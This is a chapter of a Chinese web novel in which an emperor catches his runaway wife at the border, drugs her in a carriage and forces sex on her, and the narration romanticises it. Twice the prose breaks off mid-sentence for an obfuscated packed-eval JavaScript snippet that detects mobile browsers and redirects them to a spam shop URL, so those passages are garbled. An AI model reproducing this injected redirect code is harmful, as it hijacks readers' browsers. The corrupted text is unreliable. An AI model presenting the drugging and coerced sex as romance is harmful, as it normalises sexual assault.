当年他跟着父亲去军营,起夜之时经过父母的营帐,听见他们在低声交谈些什么,隔着布帘,听不真切,只大致知道是想要给他一个惊喜。 娘说,他一个半大的孩子,太过老成了,来军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603308|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 营一趟,给他点奖励哄哄他也好。 爹说,也好,他既然志向远大,我便鼓励他日后做出一番大事,让天下太平。 他听过了就走了,当时心里也并没有多大的喜悦,年少老成,他面对很多事情时,都显得太平静。 只是没想到,当时觉得平平无奇的东西,到如今,竟然再也回不去了。 当时只道是寻常。 谢绥脑中的洪流滚滚崩塌,怒和恨攻心,与陈山缠斗了起来,他为了夺那盒子,杀了陈山,自己却也腹上中剑,在毒素的作用下,当场晕了过去。 谢绥是被士兵们抬回去的。 太医想活命,使出看家本领医治谢绥,诊脉之时,发现他手里除了捏着那金锁之外,还捏着一个平安符。 平安符出自于平山寺,上面写着祝他平安康健之类的祝福,特意写了求符人“乌春”。 常安看到了之后疑惑道:“殿下不是从来不信这些东西的吗?” 他再仔细想,想了很久之后,不可置信地自言自语:“原来殿下上次去平山寺是为了这个……殿下怎么跟三岁小孩似的……这也太不像殿下了!我一定不是在做梦一定不是在做梦……” …… 谢绥再次醒来是在七天后。 陈氏彻底铲除,沈珩不愿多生事端,自知无法与谢绥抗衡,自愿被囚。 萧怀文投靠谢绥,条件是不杀前朝公主沈璎,谢绥答应了,将沈璎暂且关押在冷宫中。 就这样,谢绥名正言顺地登上了帝位。 第一件事,改国号为宁,改年号为平清;第二件事,修筑皇陵,拆昭天塔,将其中三百谢家军尸骨埋葬在皇陵之中;第三件事,清除异党,扶持宫变之中有功之人,同时拉拢招降可用之人。 第四件事,寻回皇后。 这第四件事,他没有写诏书吩咐下去,而是交代给了自己的心腹。 在他昏迷期间,他的梦中一片混乱,梦到了许多这场宫变之中的事,却又不那么一样。 他依旧杀了许多人,可他身边没有萧怀文,这样一个重要的宫中禁军首领,在梦中那场宫变却从未出现过,取而代之的是另外一个陌生人。 梦中之时,他似乎还有寻找沈珙的打算——可是沈珙明明死了,他为什么要找沈珙? 大腿隐隐作痛,同样的箭穿过了他的血肉,额上冷汗涔涔。 疼。 风是凉的,血是温热的。 为何梦中的经历如此真实? 紧接着,他身边的近卫毫不犹豫地召回了那支去寻找沈珙的队伍,他中了毒箭,这是能保全他性命最周全的方法。 可是为何,他在梦中有一阵不详的预感? 谢绥仔细地看自己的梦,发觉从头到尾都没有乌春的身影! 依旧是陈山拿着金锁激怒他,依旧是他登基,却也依旧少了她。 画面一转,他身着便装,似乎已经处理完了皇宫之中的事宜,从马车上下来,走入了平山寺。 梦到了平山寺便戛然而止。 掌心似乎在发烫,张开手,那是一张让人哭笑不得的平安符。 前岁的冬日,他凯旋回毓宁宫,看到的第一幕便是乌春烧掉了给他求的平安符。 过了一段时日后,他越想越郁闷,后悔不已,又不好再开口找乌春求,便自己去了平山寺,在僧人为难又古怪的眼神中,要他写为自己平安符,加上落款“乌春”。 如此才满意地回宫。 …… 谢绥觉得这个梦太过古怪,仿佛前世今生一般…… 等等,前世今生? 想起乌春在前岁冬日之后的种种反常,他隐约有了一个猜疑。 当下最重要的,依旧是找到她。 想回南疆么?不可能。 这是他的大宁,想从他的土地上逃走,除非他死。 47. 相遇 乌春每日呆在医馆都心惊胆战,生怕谢绥派兵找来,但好在一点风声都没有,乌春想着,如此惶惑不安只是徒给自己增添烦扰,随着时日渐消逝,便也慢慢放下心来。 辞别了这一处医馆之后,一行人继续上路,经过两个州之后,在到达距离南疆最近的州时,只觉一切都有了盼头。 几个人挣得比花的多,乌春写了信给乌雷,让他备好接应的人马,届时信一送到,哥哥便会派出人马,算算日子,他们刚好能到南疆边境。 找了一家客栈暂且住下。 客栈对面是家有名的酒楼,酒楼里甚至还有南疆特色菜品,乌春一进去闻到菜肴的味道便觉熟悉,找了角落里的位置,坐了下来。 “郑周,多谢你这些时日的帮助,今日你就放开了吃,我们的银子应该够了,你不必省着吃,一路上你都瘦了不少。” 郑周心里泛起一丝甜,痞笑道:“你是在心疼我?” 乌春剜他一眼,“没个正经,哼,你爱吃不吃。” 店小二端上来茶水和点心。 乌春端起茶喝,先不觉得有异,直到郑周奇道:“这是什么茶?杯子里竟然没有碎叶子飘着。” 茶的品质很好,入口甘甜带茶叶独有的青涩,温度恰到好处,热气丝缕萦绕。民间的这种寻常酒楼,茶水里大多会飘着些碎叶子,可这里的茶却没有。 玉梨想的也不多,“看来这掌柜的还挺良心嘛!这钱花得值。” 乌春细细品着,却觉得这茶的味道越喝,越像一个人从前亲手沏过的…… 不不不,不可能! 她迅速将这个念头赶出脑海。 他怎么可能跑来这种地方呢,再说了,都过了这么久,她味觉混淆了也不是没可能。 乌春再看看向那甜点,桂花糕、绿豆酥、荷花酥…… 这些竟然都是她爱吃的点心! 一个从来没到过的酒楼怎么会知道她的口味呢? 乌春安慰自己,只当是巧合,不要想太多。 好在这顿饭之后没什么让她疑神疑鬼的。 乌春夜里做了个噩梦,梦见谢绥躺在血泊之中,他死之前,还朝着她伸出手,她的身上都是他的血,她怎么抹也抹不干净,仿佛身陷在一片血海之中…… 乌春睡不踏实,第二日一早便醒了,叫醒两个丫头和郑周一起赶路。 一路上,他们在饭馆吃饭的时候,总共有三次让乌春觉得古怪,一次是喝到了在帝都皇宫中喝过的珍品茶,一次是在寻常菜馆里看到了南疆菜,还有一次,是店小二特意送来了一碟糕点,说是赠送,可整个馆子里只送给了他们这一桌。 仿佛有一双看不见的眼睛在盯着她。 乌春食不能安寝也不能安,生怕哪天一觉醒来外面站着谢绥。 就在担惊受怕的日子中,一行人终于来到了天圣山脚下。 此时已接近初冬,天圣山由于地理靠近南疆,尚且不那么寒凉,青山远黛,寸碧遥岑,在这座巍峨的青山后,便是乌春的家乡了。 悬着心稍稍安了。 只要能翻越天圣山,乌春就能回到南疆了。 而天圣山由于地处两国边境,时常有流民聚集,这些流民不知从何处来,常常在官府难以管束的地方作祟,抢财物、抢女人,烧杀抢掠,贫穷和饥饿把他们逼得同敌贼西幽人一样。 乌春路上时刻提防着流民。 她这样美丽娇俏的娘子,就算是在脸上抹了厚厚的粉,刻意在额心最显眼处点了痣,也拦不住虎视眈眈的视线,每当这时候,郑周就在乌春身边用凶狠的眼神回瞪,路边才没有流民上前。 在客栈暂且住下,郑周去买吃的,怕乌春出事,将匕首刀具都留给乌春,自己赤手空拳出去了。 乌春一边是期待明日翻过天圣山回南疆,一边是焦急,因瞅着天色渐晚,夜间萤火如繁星缀在山间,郑周却还没有回来。 “你们说,他会不会出了什么事?”乌春问两个丫头。 惊莲有主意,“郑周小时候不是接悬赏长大的吗,这些流民对他来说应该不算什么,而且就算他有什么事,我们也没办法去找他。” 话虽如此,可郑周保护了她们一路,要是出事了,乌春没有办法冷眼旁观,便去寻守在客栈一楼的掌柜的。 “掌柜的,您还记得那个跟我一起来的男人吗?他身量比我高两个头,晌午出去的,现在过了两个时辰了,还没有回来,您有看到他往哪个方向走了吗?” 掌柜沉思片刻,“这我没什么印象了,不过我可以肯定,没有这么高的男人回来过。” “多谢。” 乌春只好回房间惴惴不安地侯着,从包袱里找出几个饼子啃了。 郑周一夜都没有回来,直到翌日拂晓前夕,窗子被叩响,借着朦胧天光,窗户纸上赫然一道血掌印! “啪啪,啪。”那只手开始急促地拍打窗户,窗户纸被带血的手指戳破,晕染开一小片血花。 乌春惊悸之余,隔着小洞正对上一只眼——竟然是郑周! 乌春急忙将窗户打开。 “怎么回事?你怎么伤成这样了?” 只见郑周肩膀上一个硕大的血窟窿,麻布衣裳破开大片,血染了大半身子,褐色的布衣竟然瞧不出原来的颜色!他唇色苍白,眼神狰狞,嘴角还有尚未干涸的血迹,也不知发生了什么。 郑周无暇同她解释,从窗子递进来一个油皮纸包,纸包是热的,一尘不染,“走……快走,现在就过天圣山!” 即便是想要回家乡如乌春,在郑周生死未卜之时,也迟疑了片刻,郑周凶道:“快走!” 乌春的眼睛发涩,眼皮一连眨了好几下,和两个丫头道了声“走”,一起从客栈的后门跑出去。 东方是鱼肚白,云雾缓缓开,天圣山近在眼前。 乌春拔足往前奔,这条小巷子的尽头便是天圣山的登山石阶,她奔向的或许不是南疆,是她一生向往的自在。 粗布裤脚划出一道道弧度,粘上了不少泥点。 距离那条通天似的山路越来越近之时,巷子的尽头,一户人家,灯亮如焚。 乌春被吸引了视线。 紧接着,那房子的大门开了,里面缓缓走出几个人,先是身着官服的带刀侍卫,里面有乌春见过的面孔,他们站如青松,手掌按剑,只是几个人,就已经将乌春的去路堵死。 然后是黑底金纹的锦靴踏了出来,玄黑的衣摆,衣摆上绣着呼之欲出磅礴飞舞的五爪金龙,再往上是白玉腰带勾勒紧窄的腰身,宽阔的肩膀,无比熟悉的俊美面庞。 他站在乌春正前方的一瞬,旭日冉冉升起,金红日光如鳞,照在这片山河的主人身上,如一幅瑰丽壮美的画卷,青年男子威严无比,不容侵犯,身在山野,却好似高坐堂中,他的嘴角缓缓绽起几分弧度,分明应当可亲温和,却让人莫名恐惧。 “好久不见。” 那一瞬,乌春觉得她看见的火红光芒不是朝阳,而是地狱。 乌春全身的血流都如同火焰被一盆冷水泼下,彻底凉了下去,第一反应是—— 跑! 她转身便跑,可前路早已经被一排带刀侍卫堵死! 乌春心中的绝望如同一只滔天巨兽张开血盆大口,将她整个人都吞噬,她跌坐在泥地上,神情木讷,两个丫头下意识来扶她,她的腿却仿佛有千钧重。 再也站不起来了。 “早知如此,当初又何必逃呢。”身后的脚步声缓缓靠近。 乌春视线余光中出现了一片阴影,而后是黑金的衣摆。 冷冽的香气渐渐可闻,他俯下身,一只修长冰冷的手温柔地捏住她的下巴,将她的头一转,让她对上身侧的他的视线。 谢绥好像变了许多,又好像什么也没变。 乌春双目无神,两眼空洞地看着他,“为什么,为什么要在这里抓我?” 不是在昨日,不是在十日前,也不是在她第一次喝到皇宫中的茶叶的时候,偏偏是现在,就在她即将回到南疆的时候! 她所有的希望,在他面前,竟显得像是一根手指就能碾碎的蛆虫! 谢绥依旧温柔,“那你为什么要骗我呢?” “不,我不要回帝都!你放我走!我一点也不喜欢你,我恨你,我就算是嫁给一条狗也好过比你强……”乌春奋力地挣扎起来,像一只被激怒的幼兽。 谢绥眼眸微凉,脸上的笑意彻底淡了,只一挥手,便上前来几个侍卫,将三个女人制住,惊莲和玉梨是绑了绳子,乌春是点了穴道。 她只能恨恨地盯着谢绥,似要将他千刀万剐。 谢绥视若无睹,将乌春抱起来,见她身上泥迹斑斑,衣裳也是洗得发白,眉头微蹙,几句话吩咐下去,让一个村妇为乌春换了柔软华贵的衣裳,同谢绥一样的玄黑色,上面绣的是九羽金凤,华丽如日光撒落。 之后他抱着她上了早已备好的马车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617114|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马车宽敞开阔,铺了一层薄薄的绒毯,正中放着一个小案几,案几上一个缠枝纹香炉,白雾蜿蜒升起。 将她放下来的同时,谢绥的手背上一凉。 乌春流着无声的泪,她双目血红地注视着他,那双眼里满是恨怨,她开不了口,只能用眼神不断地呐喊:放我走、放我走…… 谢绥吻去她眼角的泪,她却决绝地闭上眼。 “睁开眼,看清楚,这不是梦。”谢绥的口吻像是帝王在发布施令,“我们有多少账要算?你激我娶成静仪,趁乱放火烧了逢春殿,用蛊术伪造和你一样形容的尸体,好叫我不起疑心。”他的嗓音越来越凉,“你有没有想过,欺君之罪,当诛。” 乌春的胸口开始剧烈地起伏。 马车缓缓行驶。 “眼睛睁开。”他冷声道。 乌春猛地睁开眼,怒气腾腾的看着他,仿佛在说:那又如何?我一点也不怕。 谢绥冷笑,“对了,还有,我们没有和离书,你在与我有婚在身的同时,和外男勾结。这也是死罪。” 他凑近她的耳朵,“你和他,什么都做了吗?” 乌春的眼睫毛开始颤抖。 下巴被撬开,谢绥将一颗药丸塞入她口中,两指一抬下巴,乌春便咽了下去。 她惊惧不已,又愤恨交加,仿佛在看一个与她有一生之仇的敌人。 “这个东西你很熟悉,当初你是怎么和成静仪盘算着给我用这个药的?” 谢绥轻轻抚摸她的脸颊,脸上带着病态的神情,“我的阿春,今日就慢慢算这笔账罢。你知我向来睚眦必报,你害我、骗我、咒我之举,总要付出些代价。” 乌春的腹中发热,渐渐地,热流朝着浑身涌去,她紧绷的身子如柳条似的软了下来,脑袋仿佛顶了一个炉子,头晕脑胀,身上的衣裳也热,片刻间,就透出一层薄汗。 谢绥解开了她的穴道。 她大口地喘着气,强行的忍耐让眼角溢出几点泪花,“卑劣,无耻!” “骂得不够狠。”他慢条斯理道,“你这么恨我,我又是这样一个坏人,只是口头上骂我,太轻了。除了让外人听去了想办法让我治你的罪,没有任何好处。” 乌春浑身都像是被蚂蚁啃食,双腿发软,视线也变得游离了起来,而谢绥,却一动也不动地看着她。 她的意志力很顽强,即便这药浓烈,她也依旧一声不吭地忍耐着,如同一尊冷酷的雕像。 谢绥的脸色却愈发地冷了,眼神渐渐变得阴鸷。 他挑开乌春的衣带,“在想谁?想那个蝼蚁一样的男人?”他轻轻呢喃,“可他已经快被我折磨得要死了,你就算现在去找他,也没用了。” 乌春登时有了反应,“你对他做了什么?他的伤都是你弄的?” “你这么聪明,为什么要我说呢?”谢绥将她的外衣剥去,“你就这么在乎他?” 他欣赏着她周身笼罩着的薄薄一层粉,叹道:“真美。” “你让我恶心!”乌春扬起手,冲他的脸挥了一掌! 可她力气绵软,平时就跟谢绥的力量悬殊,这一掌,并未对他造成任何伤痛,他不怒反笑,眼里竟然流露出几分兴奋,燃烧着不加掩盖的欲。 谢绥惋惜道:“可惜了,美不过今日。” 他倾身而下,于疾风骤雨之中观赏海棠花蕊垂露盛放。 …… 马车行过颠簸的一段路,这段路很长,马车一直摇摇晃晃,也不知是不是路太难走。 外面的车夫已经用棉花将耳朵堵上,什么也听不见。 到了夜里,马车已经到了一座酒楼前,却仍然时不时晃动,过了半个时辰,谢绥方抱着一个用他自己的外袍裹得严严实实的女子出来。 没人看得见那女子的容貌。 也不敢抬头,因为谢绥在这里,寻常百姓只有低头膝行的份。 谢绥一脸餍足慵懒,神清气爽地走入酒楼顶层包厢。乌春浑身都是他的气味,眼睛半睁半闭,像是熟透的虾,身上大片大片的红,奄奄一息,如同雨中花瓣低垂蔫坏的花儿,她连骂谢绥的力气都没有了。 也可能是骂他骂了太多,天底下骂人的话都让她一日之间说了个干净,就连南疆话都出来了。 叫了热水之后,这一夜,谢绥紧紧拥着乌春入睡。 分明针锋相对着,分明互相都不想让彼此好过,两个人却都睡了一场许久不曾有过的好觉。